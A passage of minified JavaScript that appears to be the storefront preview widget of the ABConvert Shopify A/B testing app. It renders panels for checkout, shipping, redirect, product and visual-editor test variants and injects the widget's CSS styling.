0===e.length?"":`<div class="abconvert-checkout-rename-list">${e.map(w).join("")}</div>`}},reorder:{head:()=>v("pin to top"),body:n=>{const e=n.pinnedMethods||[];return 0===e.length?"":`<div class="abconvert-checkout-chip-row">${e.map(((n,e)=>function(n,e){return`<span class="abconvert-checkout-method-chip"><span class="abconvert-checkout-pin-idx">${e+1}.</span>${(0,r.Z)(n)}</span>`}(n.value,e))).join("")}</div>`}}};function w(n){const e=function(n){return"append"===n.toAction?`… ${n.to}`:"prepend"===n.toAction?`${n.to} …`:n.to}(n);return`\n    <div class="abconvert-checkout-rename-rule">
920\n      <span class="abconvert-checkout-method-chip">${(0,r.Z)(n.from)}</span>\n      <span class="abconvert-checkout-rename-arrow">${u.arrow}</span>\n      <span class="abconvert-checkout-method-chip abconvert-checkout-method-chip-strong">${(0,r.Z)(e)}</span>\n    </div>\n  `}function y(n){return`abconvert-checkout-section-${n}`}function k(n,e,t){const o=e.map((e=>"delivery"===n||"payment"===n?function(n){const e=x[n.op];if(!e)return"";const t=l[n.op]?n.op:"unknown",o=l[n.op]||(0,r.Z)(n.op);return`\n    <div class="abconvert-checkout-row">\n      <span class="abconvert-checkout-icon abconvert-checkout-icon-${t}">${u[n.op]||""}</span>\n      <div class="abconvert-checkout-body">\n        <div class="abconvert-checkout-row-head">\n          <span class="abconvert-checkout-type abconvert-checkout-type-${t}">${o}</span>\n          ${e.head(n)}\n        </div>\n        ${e.body(n)}\n      </div>\n    </div>\n  `}(e):"cart"===n?function(n){const e=n.props||{},t=e.buttonLabel?.trim()||"Edit",o=[b("Change variant",!!e.allowChangeVariant),b("Edit quantity",!!e.allowEditQuantity),b("Remove items",!!e.allowRemoveItems)].join("");return`\n    <div class="abconvert-checkout-row">
920\n      <span class="abconvert-checkout-icon">${u["cart-control"]}</span>\n      <div class="abconvert-checkout-body">\n        <div class="abconvert-checkout-row-head">\n          <span class="abconvert-checkout-type">${d["cart-control"]}</span>\n          <span class="abconvert-checkout-row-text-inline">"${(0,r.Z)(t)}"</span>\n        </div>\n        <div class="abconvert-checkout-chip-row">${o}</div>\n      </div>\n    </div>\n  `}(e):function(n){const{meta:e,text:t,metaTone:o}=function(n){const e=n.props||{};switch(n.blockType){case"heading":return{meta:e.size?$(e.size):"Large",text:`"${e.title?.trim()||"(no title)"}"`};case"banner":return{meta:e.tone?$(e.tone):"Auto",text:`"${e.title?.trim()||"(no title)"}"`,metaTone:(t=e.tone,"success"===t||"critical"===t||"warning"===t||"info"===t?t:"")};case"trust-badge":{const n=e.items||[];return{meta:`${$(e.layout||"vertical")} · ${n.length}`,text:n.map((n=>n.title)).filter(Boolean).join(" · ")||"(no items)"}}case"button":{const n=e.items||[],t=n[0],o=t?.variant?$(t.variant):"Primary";return{meta:e.fullWidth?`${o} · Full width`:o,text:g(n)}}case"benefit":{const n=e.items||[];return{meta:`${$(e.layout||"list")} · ${n.length}`,text:e.title?.trim()?`"${e.title}" · ${n.length} ${1===n.length?"item":"items"}`:n.map((n=>n.text)).filter(Boolean).join(" · ")||"(no items)"}}case"image":{const n=e.images||[],t=$(e.layout||(n.length>1?"carousel":"single")),o=n.length>1?`${t} · ${n.length}`:t,r=function(n){if(!n.length)return"(no images)";const e=n[0],t=h(e?.url)||"(image)";if(1===n.length)return t;const o=h(n[1]?.url);return 2===n.length&&o?`${t} · ${o}`:o?`${t} · ${o} · +${n.length-2}`:`${t} · +${n.length-1}`}(n);return{meta:o,text:r}}case"payment-icon":{const n=e.icons||[];return{meta:String(n.length),text:n.length?n.join(" · "):"(no icons)"}}case"upsell-product-tile":return{meta:`${"manual"===e.recommendation?"Specific products":"Auto recommend"} · max ${e.maxProducts??1}`,text:e.title?.trim()?`"${e.title}"${m(e)}`:`Product offer${m(e)}`};default:return{meta:"",text:""}}var t}(n),i=d[n.blockType]||(0,r.Z)(n.blockType),a=e?`<span class="abconvert-checkout-meta${o?` abconvert-checkout-meta-${o}`:""}">${(0,r.Z)(e)}</span>`:"";return`\n    <div class="abconvert-checkout-row">
920\n      <span class="abconvert-checkout-icon">${u[n.blockType]||""}</span>\n      <div class="abconvert-checkout-body">\n        <div class="abconvert-checkout-row-head">\n          <span class="abconvert-checkout-type">${i}</span>\n          ${a}\n        </div>\n        <div class="abconvert-checkout-row-text">${(0,r.Z)(t)}</div>\n      </div>\n    </div>\n  `}(e))),i=y(n),a=function(n,e){return"cart"===n?"on":String(e.length)}(n,e),s=t?"expanded":"";return`\n    <div class="abconvert-checkout-section">\n      <button id="${i}-toggle" class="abconvert-checkout-section-head" type="button">\n        <span class="abconvert-checkout-section-label">${c[n]}</span>\n        <span class="abconvert-checkout-section-meta">\n          <span class="abconvert-checkout-section-count">${a}</span>\n          <span id="${i}-arrow" class="abconvert-checkout-section-arrow ${s}" aria-hidden="true"><svg viewBox="0 0 12 12" width="12" height="12" fill="none"><path d="M3 4.5 6 7.5l3-3" stroke="currentColor" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/></svg></span>\n        </span>\n      </button>\n      <div id="${i}-content" class="abconvert-checkout-section-rows ${s}">\n        ${o.join("")}\n      </div>\n    </div>\n  `}function E(n){let{groups:e,currentGroupIndex:t,expanded:r=!1,expandedSections:c,embedded:d=!1}=n;if(!e||0===e.length)return"";const l=e[t]??e[0];if(!l)return"";const u=function(n){const e={delivery:[],payment:[],content:[],cart:[],upsell:[]};for(const o of n||[])if("delivery"===o.kind)e.delivery.push(o);else if("payment"===o.kind)e.payment.push(o);else if("block"===o.kind){const n=s[o.blockType];n?e[n].push(o):(t=o.blockType,p.has(t)||(p.add(t),"undefined"!=typeof console&&console.warn&&console.warn(`[ABConvert] CheckoutTestPanel: unknown blockType "${t}". Add it to BLOCK_TYPE_TO_CATEGORY in panels/CheckoutTestPanel.js.`)))}var t;return e}(l.modifications),v=a.filter((n=>u[n].length>0)).map((n=>k(n,u[n],function(n,e){const t=y(n);return!e||"function"!=typeof e.has||!e.has(`${t}:collapsed`)}(n,c)))),f=v.length?v.join(""):'<div class="abconvert-checkout-empty">No modifications in this variant.</div>';return(0,o.q)({id:i,title:"Checkout modifications",content:`<div class="abconvert-checkout-panel">${f}</div>`,expanded:r,embedded:d})}function C(n,e){(0,o.s)(n,i,"2000px",e);for(const t of a)I(n,y(t),e)}function I(n,e,t){const o=n.querySelector(`#${e}-toggle`),r=n.querySelector(`#${e}-content`),i=n.querySelector(`#${e}-arrow`);o&&r&&o.addEventListener("click",(()=>{const n=r.classList.toggle("expanded");i&&i.classList.toggle("expanded",n),t&&t(`${e}:collapsed`,!n)}))}},6764:(n,e,t)=>{t.d(e,{d:()=>i,y:()=>a});var o=t(6868),r=t(7386);function i(n){let{groups:e,currentGroupIndex:t,expanded:i=!1,embedded:a=!1}=n;if(!e||0===e.length)return"";const c=(e[t]||e[0]).zoneRates||[];if(0===c.length)return"";const s=`\n    <div class="abconvert-card">\n      ${c.map((n=>{return`\n    <div class="abconvert-shipping-zone">\n      <div class="abconvert-shipping-zone-name">${n.zoneName}</div>\n      ${e=n.rates,e&&0!==e.length?e.map((n=>{const e=(0,r.lq)(n.price,n.currency),t=function(n){if(!n||!n.type)return"";if("price"===n.type){const e=n.currency||"USD",t=[];return null!=n.minimum&&t.push(`≥ ${(0,r.lq)(n.minimum,e)}`),null!=n.maximum&&t.push(`≤ ${(0,r.lq)(n.maximum,e)}`),t.join(" & ")}if("weight"===n.type){const e=n.unit||"g",t=[];return null!=n.minimum&&t.push(`≥ ${n.minimum}${e}`),null!=n.maximum&&t.push(`≤ ${n.maximum}${e}`),t.join(" & ")}return""}(n.condition),o=t?`<div class="abconvert-shipping-rate-condition">${t}</div>`:"";return`\n      <div class="abconvert-shipping-rate-row">\n        <span class="abconvert-shipping-rate-name">${n.name}</span>\n        <span class="abconvert-shipping-rate-price">${e}</span>\n        ${o}\n      </div>\n    `})).join(""):'<div class="abconvert-shipping-no-rates">No rates</div>'}\n    </div>\n  `;var e})).join("")}\n    </div>\n  `;return(0,o.q)({id:"abconvert-shipping-config",title:"Shipping Rates",content:s,expanded:i,embedded:a})}function a(n,e){(0,o.s)(n,"abconvert-shipping-config","400px",e)}},6868:(n,e,t)=>{function o(n){let{id:e,title:t,content:o,expanded:r=!1,icon:i="",embedded:a=!1}=n;if(a)return o;const c=r?"expanded":"";return`\n    <div class="abconvert-section">\n      <button id="${e}-toggle" class="abconvert-collapsible-header">
920\n        <span>${i?i+" ":""}${t}</span>\n        <span id="${e}-arrow" class="abconvert-collapsible-arrow ${c}">▼</span>\n      </button>\n      <div id="${e}-content" class="abconvert-collapsible-content ${c}">\n        ${o}\n      </div>\n    </div>\n  `}function r(n,e){let t=arguments.length>2&&void 0!==arguments[2]?arguments[2]:"240px",o=arguments.length>3&&void 0!==arguments[3]?arguments[3]:null;const r=n.querySelector(`#${e}-toggle`),i=n.querySelector(`#${e}-content`),a=n.querySelector(`#${e}-arrow`);if(!r||!i)return;let c=i.classList.contains("expanded");r.addEventListener("click",(()=>{c=!c,c?(i.classList.add("expanded"),i.style.maxHeight=t,a&&a.classList.add("expanded")):(i.classList.remove("expanded"),i.style.maxHeight="0",a&&a.classList.remove("expanded")),o&&o(e,c)})),c&&(i.style.maxHeight=t)}t.d(e,{q:()=>o,s:()=>r})},7386:(n,e,t)=>{t.d(e,{$g:()=>r,Rj:()=>a,SS:()=>s,aO:()=>l,lq:()=>i});var o=t(9698);function r(n,e){const t=e||window.Shopify?.currency?.active||"USD",o="string"==typeof n?parseFloat(n):n;if(isNaN(o))return"";try{return new Intl.NumberFormat(void 0,{style:"currency",currency:t}).format(o)}catch(n){return`$${o.toFixed(2)}`}}function i(n,e){return r((0,o.i9)(n,e),e)}function a(n,e,t){const o=(window.Shopify?.country||"").toUpperCase(),r=n?.testGroups?.[e]?.countryMap;return o&&r&&void 0!==r[o]?o:t}function c(n,e){if(!e||void 0===n?.[e])return null;const t=n[e];return"object"==typeof t&&null!==t?{price:t.price,compareAtPrice:t.compareAtPrice}:{price:t,compareAtPrice:null}}function s(n,e,t,o){if(!n?.testGroups?.[e])return null;const r=n.testGroups[e];for(const n of[t,o]){const e=c(r.countryMap,n);if(e)return{...e,country:n}}return{price:r.price,compareAtPrice:r.compareAtPrice,country:null}}const d={US:"USD",CA:"CAD",GB:"GBP",DE:"EUR",FR:"EUR",IT:"EUR",ES:"EUR",NL:"EUR",AU:"AUD",NZ:"NZD",JP:"JPY",CN:"CNY",HK:"HKD",SG:"SGD",KR:"KRW",IN:"INR",BR:"BRL",MX:"MXN",CH:"CHF",SE:"SEK",NO:"NOK",DK:"DKK",PL:"PLN",AE:"AED",SA:"SAR",ZA:"ZAR",TH:"THB",MY:"MYR",PH:"PHP",ID:"IDR",VN:"VND",TW:"TWD",IL:"ILS",TR:"TRY",RU:"RUB",CZ:"CZK",HU:"HUF",RO:"RON",CL:"CLP",CO:"COP",AR:"ARS",PE:"PEN"};function l(n){let{currency:e,primaryCountry:t,countryCurrencies:o}=arguments.length>1&&void 0!==arguments[1]?arguments[1]:{};return n?.country?function(n,e){return e?.[n]?e[n]:d[n]||"USD"}(n.country,o):e||o?.[t]||window.Shopify?.currency?.active||"USD"}},7626:(n,e,t)=>{t.d(e,{A:()=>i});var o=t(63);function r(n){n.searchParams.delete("_abr")}const i={displayName:"URL Redirect Test",normalize:function(n){const e={};return(n?.experiments||[]).forEach((n=>{if("Preview"!==n.status)return;const t=n.experimentId;e[t]={id:t,name:n.name||"URL Redirect Test",experimentId:n.numericId||t,version:n.version||"v1",status:n.status||"Active",startTime:n.startTime,trafficAllocationPercent:n.trafficAllocationPercent,audienceTargeting:n.audienceTargeting,forceAssignRules:n.forceAssignRules,groups:(n.testGroups||[]).map((n=>({name:n.name,percentage:n.percentage,isControl:n.isControl,redirectRules:n.variation?.rules||[],legacyUrl:n.url||""}))),_original:n}})),e},renderPanel:function(n,e){const{experimentData:t,currentGroupIndex:r}=n,i=t.groups||[];return(0,o.i)({groups:i,currentGroupIndex:r,expanded:e.has("abconvert-redirect-rules"),embedded:n.embedded})},initPanelEvents:function(n,e,t){(0,o.L)(n,t)},onGroupSwitch:function(n,e){const t=new URL(window.location.href);return r(t),window.location.href=t.toString(),!0},stripGroupSwitchParams:r}},8368:(n,e,t)=>{t.d(e,{A:()=>r});var o=t(6764);const r={displayName:"Shipping Test",normalize:function(n){const e={};return(n?.experiments||[]).forEach((t=>{"Preview"===t.status&&(e[t.experimentId]={id:t.experimentId,name:t.name||"Shipping Test",experimentId:t.numericId||t.experimentId,version:n.version||"v2",status:t.status,startTime:t.startTime,trafficAllocationPercent:t.trafficAllocationPercent,audienceTargeting:t.audienceTargeting,forceAssignRules:t.forceAssignRules,groups:(t.testGroups||[]).map((n=>({name:n.name,percentage:n.percentage,isControl:n.isControl,id:n.id,zoneRates:n.zoneRates||[]}))),_original:t})})),e},renderPanel:function(n,e){const{experimentData:t,currentGroupIndex:r}=n,i=t.groups||[];return(0,o.d)({groups:i,currentGroupIndex:r,expanded:e.has("abconvert-shipping-config"),embedded:n.embedded})},initPanelEvents:function(n,e,t){(0,o.y)(n,t)}}},8711:(n,e,t)=>{t.d(e,{K:()=>c,j:()=>s});var o=t(6868),r=t(7386),i=t(4788);
920function a(n,e,t,o,a){if(!n||0===n.length)return"";const c=n.map((n=>function(n,e,t,o,a){const c=(0,i.hM)(n.url||"#"),s=n.title||"Untitled Product",d=n.variantCount||0,l=1===d?"1 variant":`${d} variants`,u=n.variants?.[0],p=u?function(n,e,t,o){const i=function(n,e,t,o){const i=(0,r.Rj)(n,e,t),a=(0,r.SS)(n,e,i,o.primaryCountry);if(!a||void 0===a.price||null===a.price)return"";const c=(0,r.aO)(a,o),s=(0,r.$g)(a.price,c);return a.compareAtPrice&&parseFloat(a.compareAtPrice)>0?`<s>${(0,r.$g)(a.compareAtPrice,c)}</s> ${s}`:s}(n,e,t,o);return i?`<div class="abconvert-product-price">${i}</div>`:""}(u,t,o,a):"";return`\n    <a href="${c}" class="abconvert-product-item">\n      ${n.image?`<img src="${n.image}" alt="${s}" class="abconvert-product-image" />`:""}\n      <div class="abconvert-product-info">\n        <div class="abconvert-product-title">${s}</div>\n        ${p}\n        <div class="abconvert-product-variants">${l}</div>\n      </div>\n      <span class="abconvert-product-arrow">→</span>\n    </a>\n  `}(n,0,t,o,a))).join("");return`\n    <div class="abconvert-card">\n      <div class="abconvert-product-list">\n        ${c}\n      </div>\n    </div>\n  `}function c(n){let{products:e,experimentId:t,groupIndex:r,selectedMarket:i,shop:c={},expanded:s=!1,embedded:d=!1}=n;if(!e||0===e.length)return"";const l=a(e,0,r,i,c);return(0,o.q)({id:"abconvert-products",title:`Products (${e.length})`,content:l,expanded:s,embedded:d})}function s(n,e){(0,o.s)(n,"abconvert-products","240px",e)}},9698:(n,e,t)=>{t.d(e,{i9:()=>r});const o=new Set(["BIF","CLP","DJF","GNF","ISK","JPY","KMF","KRW","PYG","RWF","UGX","VND","VUV","XAF","XOF","XPF"]);function r(n,e){const t=Number(n??0);return Number.isFinite(t)?t/function(n){return o.has(String(n??"").toUpperCase())?1:100}(e):0}},9885:(n,e,t)=>{t.d(e,{H:()=>v,k:()=>p});var o=t(6868),r=t(2639);function i(n){return-1!==n.indexOf("*")}function a(n){const e=Array.isArray(n.targetUrls)?n.targetUrls.filter((n=>"string"==typeof n&&n.length>0)):[],t=e.length>0?e:n.targetUrl?[n.targetUrl]:["/"];return[...new Set(t.map((n=>function(n){try{return n.startsWith("http")?new URL(n).pathname||"/":n||"/"}catch{return n||"/"}}(n))))]}function c(n,e){if(!n||0===n.length)return[];const t=new Set;for(const e of n)for(const n of e.mutations||[])for(const e of a(n))t.add(e);const o=(n[e]||{}).mutations||[],r={};for(const n of t)r[n]={url:n,changeCount:0};for(const n of o)for(const e of a(n))r[e]&&r[e].changeCount++;return Object.values(r)}function s(n,e,t){return`\n    <div class="abconvert-ve-code-block">\n      <button class="abconvert-ve-code-toggle" data-target="${t}" aria-expanded="false" aria-controls="${t}">\n        <span class="abconvert-ve-code-chevron" id="${t}-chevron">\n          <svg width="12" height="12" viewBox="0 0 20 20" fill="currentColor">\n            <path d="M6 6l4 4 4-4" fill="none" stroke="currentColor" stroke-width="2" stroke-linecap="round"/>\n          </svg>\n        </span>\n        <span class="abconvert-ve-code-label">${n}</span>\n      </button>\n      <div class="abconvert-ve-code-content" id="${t}">\n        <pre class="abconvert-ve-code-pre">${(0,r.Z)(e)}</pre>\n      </div>\n    </div>\n  `}function d(n,e){const t=c(n,e);if(0===t.length)return'<div class="abconvert-ve-empty">No page modifications</div>';const o=window.location.pathname,a=t.map((n=>function(n,e){const t=1===n.changeCount?"1 change":`${n.changeCount} changes`,o=i(n.url),a=function(n,e){if(i(n))try{return function(n){const e=n.replace(/\*\*/g,"�").replace(/\*/g,"�").replace(/[.+?^${}()|[\]\\]/g,"\\$&").replace(new RegExp("�","g"),".*").replace(new RegExp("�","g"),"[^/]*");return new RegExp("^"+e+"$")}(n).test(e)}catch{return!1}return n===e}(n.url,e),c=n.url.startsWith("http")||n.url.startsWith("/")?(0,r.Z)(n.url):"#",s=`\n      <div class="abconvert-page-icon">\n        <svg width="16" height="16" viewBox="0 0 20 20" fill="currentColor">\n          <path d="M4 3a2 2 0 00-2 2v10a2 2 0 002 2h12a2 2 0 002-2V5a2 2 0 00-2-2H4zm0 1.5h12a.5.5 0 01.5.5v1.5h-13V5a.5.5 0 01.5-.5zM3.5 8h13v7a.5.5 0 01-.5.5H4a.5.5 0 01-.5-.5V8z"/>\n        </svg>\n      </div>\n      <div class="abconvert-page-info">\n        <div class="abconvert-page-path">${(0,r.Z)(n.url)}</div>\n        <div class="abconvert-page-changes">${t}</div>\n      </div>\n      ${o?"":`<span class="abconvert-product-arrow">
920${a?'<svg width="16" height="16" viewBox="0 0 20 20" fill="currentColor"><path d="M7.293 14.707a1 1 0 010-1.414L10.586 10 7.293 6.707a1 1 0 011.414-1.414l4 4a1 1 0 010 1.414l-4 4a1 1 0 01-1.414 0z"/></svg>':"→"}</span>`}\n  `;return o?`\n    <div class="abconvert-page-item${a?" active":""}">${s}</div>\n  `:`\n    <a href="${c}" class="abconvert-page-item${a?" active":""}">${s}</a>\n  `}(n,o))).join("");return`\n    <div class="abconvert-card">\n      <div class="abconvert-page-list">${a}</div>\n    </div>\n  `}function l(n){const e=n.customCode||{};return{css:(e.css??n.customCSS??"").trim(),js:(e.js??n.customJS??"").trim()}}function u(n,e){const{css:t,js:o}=l(n);return t||o?`\n    <div class="abconvert-ve-code-hint">Applied to all pages</div>\n    <div class="abconvert-card">\n      <div class="abconvert-ve-code-blocks">\n        ${t?s("CSS",t,`ve-css-${e}`):""}\n        ${o?s("JS",o,`ve-js-${e}`):""}\n      </div>\n    </div>\n  `:'<div class="abconvert-ve-empty">No custom code</div>'}function p(n){let{groups:e,groupIndex:t=0,expanded:r=!1,activeTab:i,embedded:a=!1}=n;c(e,t);const s=e[t]||{},p=e.some((n=>(n.mutations||[]).length>0)),v=e.some((n=>{const{css:e,js:t}=l(n);return e||t})),f=i||(p?"modifications":v?"custom-code":"modifications"),b=`\n    \n    <div class="abconvert-ve-tabs" role="tablist">\n      <button class="abconvert-ve-tab${"modifications"===f?" active":""}${p?"":" disabled"}" role="tab" data-tab="modifications" aria-selected="${"modifications"===f}"${p?"":" disabled"}>\n        Modifications\n      </button>\n      <button class="abconvert-ve-tab${"custom-code"===f?" active":""}${v?"":" disabled"}" role="tab" data-tab="custom-code" aria-selected="${"custom-code"===f}"${v?"":" disabled"}>\n        Custom Code\n      </button>\n    </div>\n  \n    <div id="abconvert-ve-tab-content">${"custom-code"===f?u(s,t):d(e,t)}</div>\n  `;return(0,o.q)({id:"abconvert-visual-editor-pages",title:"Visual Editor Config",content:b,expanded:r,embedded:a})}function v(n,e,t,r){(0,o.s)(n,"abconvert-visual-editor-pages","500px",e);const i=n.querySelectorAll(".abconvert-ve-tab");i.forEach((e=>{e.addEventListener("click",(()=>{if(e.disabled||e.classList.contains("active"))return;const o=e.dataset.tab;i.forEach((n=>{n.classList.toggle("active",n===e),n.setAttribute("aria-selected",n===e?"true":"false")}));const a=n.querySelector("#abconvert-ve-tab-content");if(a&&r){const{groups:e,groupIndex:t}=r,i=e[t]||{};"modifications"===o?a.innerHTML=d(e,t):(a.innerHTML=u(i,t),f(n))}t&&t(o)}))})),f(n)}function f(n){n.querySelectorAll(".abconvert-ve-code-toggle").forEach((e=>{e.addEventListener("click",(()=>{const t=e.dataset.target,o=n.querySelector(`#${t}`),r=n.querySelector(`#${t}-chevron`);if(!o)return;const i=o.classList.contains("expanded");o.classList.toggle("expanded",!i),r&&r.classList.toggle("expanded",!i),e.setAttribute("aria-expanded",i?"false":"true")}))}))}}},e={};function t(o){var r=e[o];if(void 0!==r)return r.exports;var i=e[o]={exports:{}};return n[o](i,i.exports,t),i.exports}t.d=(n,e)=>{for(var o in e)t.o(e,o)&&!t.o(n,o)&&Object.defineProperty(n,o,{enumerable:!0,get:e[o]})},t.o=(n,e)=>Object.prototype.hasOwnProperty.call(n,e);const o="#ffffff",r="#f1f1f1",i="#f7f7f7",a="#f1f1f1",c="#cdfee1",s="#fea3a3",d="#fee3e3",l="#91d0ff",u="#e6f3ff",p="#fff4d4",v="#eef6ff",f="#303030",b="#616161",g="#b5b5b5",m="#007f5c",h="#c72b2b",$="#005fcc",x="#785a00",w="#005fcc",y="#ffffff",k="#e1e1e1",E="#ebebeb",C="#c7c7c7",I="#005fcc",P="#303030",S="#616161",T="2px",A="4px",R="6px",M="8px",z="12px",L="16px",D="Inter, -apple-system, BlinkMacSystemFont, 'San Francisco', 'Segoe UI', Roboto, 'Helvetica Neue', sans-serif",_="ui-monospace, SFMono-Regular, 'SF Mono', Consolas, 'Liberation Mono', Menlo, monospace",N="11px",j="12px",G="13px",U="14px",B="500",O="600",V="1.4",F="-0.01em",q="4px",H="6px",W="8px",Z="9999px",K="0 0 0 2px #005fcc",X="100ms",Y="200ms",J="cubic-bezier(0, 0, 0.58, 1)",Q="cubic-bezier(0.42, 0, 0.58, 1)",nn="150ms",en="cubic-bezier(0.42, 0, 0.58, 1)",tn="abconvert-preview-widget-styles";var on=t(4788),rn=t(6868);function an(n){return null==n||""===n?"(empty)":"object"==typeof n?JSON.stringify(n):String(n)}function cn(n){return n?"✓":"✗"}function sn(n){return n?"pass":"fail"}function dn(n){return`\n    <div class="abconvert-context-grid">
920\n      <span class="abconvert-context-label">Country:</span>\n      <span class="abconvert-context-value">${an(n.country)}</span>\n      <span class="abconvert-context-label">Device:</span>\n      <span class="abconvert-context-value">${an(n.device)}</span>\n      <span class="abconvert-context-label">Visitor:</span>\n      <span class="abconvert-context-value">${an(n.visitorType)}</span>\n      <span class="abconvert-context-label">Source:</span>\n      <span class="abconvert-context-value">${an(n.trafficSource)}</span>\n      <span class="abconvert-context-label">Referrer:</span>\n      <span class="abconvert-context-value">${an(n.referralDomain)}</span>\n      <span class="abconvert-context-label">Landing:</span>\n      <span class="abconvert-context-value">${an(n.landingPage)}</span>\n    </div>\n  `}function ln(n,e,t,o){const r=n.querySelector("#abconvert-assignment-result");r&&(r.className=`abconvert-result-box visible ${e}`,r.innerHTML=`\n    <div style="font-weight: 500; margin-bottom: 4px;">${t}</div>\n    <div style="font-size: 11px; color: #6d7175;">${o}</div>\n  `)}var un=t(5246),pn=t(947);const vn="abconvert-preview-widget";function fn(){if(window.Shopify?.designMode)return;if(window.__abconvertRuntime?.onsiteEditor?.isPreviewChild?.())return;if(!(0,on.IL)())return;const n=(0,on.P3)("abconvert_experiment_id");n&&(0,on.xX)(n),(0,on.nI)("abconvert_experiment_id"),(0,on.nI)("abconvert_preview_key"),window.abconvertCombinedTestDict&&(0,pn.eo)(un.JB.COMBINED,window.abconvertCombinedTestDict);const e=(0,un.Mo)(),t=Object.keys(e);if(0===t.length)return;const rn=(0,on.tj)();let an,cn;if(rn&&e[rn])an=rn,cn=e[rn];else if(rn){const n=t.find((n=>String(e[n].experimentId)===String(rn)));n&&(an=n,cn=e[n])}const sn=Boolean(an);if(an||(rn&&console.warn("[ABConvert] Preview target experiment not found in registry",{targetExperimentId:rn,availableIds:t,hint:"If the test was just created, confirm its window dict is defined (e.g. window.abconvertCheckoutTestDict) and that the theme snippet is installed."}),an=t[0],cn=e[an]),!cn)return;!sn&&rn||(0,on.xX)(an);const dn=document.getElementById(vn);if(dn){if(dn.dataset.experimentId===an)return;dn.remove()}const ln=(0,on.P3)("preview");null!==ln&&(0,on.gp)(an,parseInt(ln,10));const fn=gn(e,an);!function(){if(document.getElementById(tn))return;const n=`\n    /* =============================================================================\n       ABConvert Preview Widget Styles\n       Polaris-aligned design system (2024)\n       ============================================================================= */\n\n    /* Widget Container - Polaris Card elevated */\n    .abconvert-widget {\n      position: fixed;\n      top: 50%;\n      right: 20px;\n      transform: translateY(-50%);\n      width: 320px;\n      max-height: 80vh;\n      background: ${o};\n      border: 1px solid ${k};\n      border-radius: ${W};\n      box-shadow: 0 8px 16px -4px rgba(0, 0, 0, 0.09), 0 4px 8px -2px rgba(0, 0, 0, 0.04);\n      font-family: ${D};\n      font-size: ${G};\n      line-height: ${V};\n      z-index: 999999;\n      color: ${f};\n      overflow: hidden;\n      display: flex;\n      flex-direction: column;\n    }\n\n    /* Header - Polaris Card header pattern */\n    .abconvert-widget-header {\n      background: ${o};\n      border-bottom: 1px solid ${E};\n      padding: ${z} ${L};\n      cursor: move;\n      display: flex;\n      align-items: center;\n      gap: ${M};\n      user-select: none;\n      flex-shrink: 0;\n    }\n\n    .abconvert-widget-header.dragging {\n      cursor: grabbing;\n    }\n\n    .abconvert-drag-handle {\n      flex-shrink: 0;\n      color: ${S};\n      display: flex;\n      align-items: center;\n    }\n\n    .abconvert-drag-handle svg {\n      width: 16px;\n      height: 16px;\n    }\n\n    .abconvert-widget-title {\n      flex: 1;\n      min-width: 0;\n    }\n\n    .abconvert-widget-title-text {\n      font-weight: ${O};\n      font-size: ${U};\n      color: ${f};\n      letter-spacing: ${F};\n    }\n\n    .abconvert-widget-subtitle {\n      font-size: ${j};\n      color: ${b};\n      margin-top: ${T};\n    }\n\n    /* Close Button - Polaris icon button */\n    .abconvert-close-btn {\n      background: transparent;\n      border: none;\n      cursor: pointer;\n      color: ${S};\n      padding: 0;\n      width: 28px;\n      height: 28px;\n      display: flex;\n      align-items: center;\n      justify-content: center;\n      border-radius: ${q};\n      transition: background ${nn} ${en},\n                  color ${nn} ${en};\n    }\n\n    .abconvert-close-btn:hover {\n      background: ${a};\n      color: #303030;\n    }\n\n    .abconvert-close-btn:focus-visible {\n      outline: none;\n      box-shadow: ${K};\n    }\n\n    .abconvert-close-btn svg {\n      width: 16px;\n      height: 16px;\n    }\n\n    /* Content Area */\n    .abconvert-widget-content {\n      padding: ${L};\n      flex: 1;\n      min-height: 0;\n      overflow-y: auto;\n      scrollbar-width: thin;\n      scrollbar-color: ${k} transparent;\n    }\n\n    .abconvert-widget-content::-webkit-scrollbar {\n      width: 6px;\n    }\n\n    .abconvert-widget-content::-webkit-scrollbar-track {\n      background: transparent;\n    }\n\n    .abconvert-widget-content::-webkit-scrollbar-thumb {\n      background: ${k};\n      border-radius: ${Z};\n    }\n\n    /* Section - Polaris BlockStack pattern */\n    .abconvert-section {\n      margin-bottom: ${L};\n    }\n\n    .abconvert-section:last-child {\n      margin-bottom: 0;\n    }\n\n    .abconvert-section-label {\n      display: block;\n      font-weight: ${B};\n      font-size: ${j};\n      margin-bottom: ${M};\n      color: ${f};\n    }\n\n    /* Select - Polaris Select component */\n    .abconvert-select {\n      width: 100%;\n      padding: ${M} ${z};\n      padding-right: 36px;\n      border: 1px solid ${k};\n      border-radius: ${W};\n      background-color: ${o};\n      font-size: ${G};\n      font-family: ${D};\n      cursor: pointer;\n      color: ${f};\n      appearance: none;\n      background-image: url("data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' width='12' height='12' viewBox='0 0 20 20' fill='%23616161'
920%3E%3Cpath d='M10 14l-5-5h10l-5 5z'/%3E%3C/svg%3E");\n      background-repeat: no-repeat;\n      background-position: right 12px center;\n      background-size: 12px;\n      transition: border-color ${nn} ${en},\n                  box-shadow ${nn} ${en};\n    }\n\n    .abconvert-select:hover {\n      border-color: ${C};\n    }\n\n    .abconvert-select:focus {\n      outline: none;\n      border-color: ${I};\n      box-shadow: 0 0 0 1px ${I};\n    }\n\n    .abconvert-select:disabled {\n      background-color: ${r};\n      color: ${g};\n      cursor: not-allowed;\n    }\n\n    /* Button - Polaris Button component */\n    .abconvert-btn {\n      display: inline-flex;\n      align-items: center;\n      justify-content: center;\n      gap: ${A};\n      padding: ${R} ${z};\n      min-height: 32px;\n      border-radius: ${W};\n      font-size: ${j};\n      font-weight: ${B};\n      font-family: ${D};\n      line-height: 1;\n      cursor: pointer;\n      text-decoration: none;\n      transition: background ${nn} ${en},\n                  border-color ${nn} ${en},\n                  box-shadow ${nn} ${en};\n    }\n\n    .abconvert-btn:focus-visible {\n      outline: none;\n      box-shadow: ${K};\n    }\n\n    /* Primary Button - Polaris primary variant */\n    .abconvert-btn-primary {\n      background: ${P};\n      color: ${y};\n      border: none;\n      box-shadow: inset 0 -1px 0 0 #b5b5b5;\n    }\n\n    .abconvert-btn-primary:hover {\n      background: #1a1a1a;\n    }\n\n    .abconvert-btn-primary:active {\n      background: #000000;\n    }\n\n    /* Secondary Button - Polaris default variant */\n    .abconvert-btn-secondary {\n      background: ${o};\n      color: ${f};\n      border: 1px solid ${k};\n    }\n\n    .abconvert-btn-secondary:hover {\n      background: ${a};\n      border-color: ${C};\n    }\n\n    .abconvert-btn-secondary:active {\n      background: #ededed;\n    }\n\n    /* Critical/Destructive Button */\n    .abconvert-btn-critical 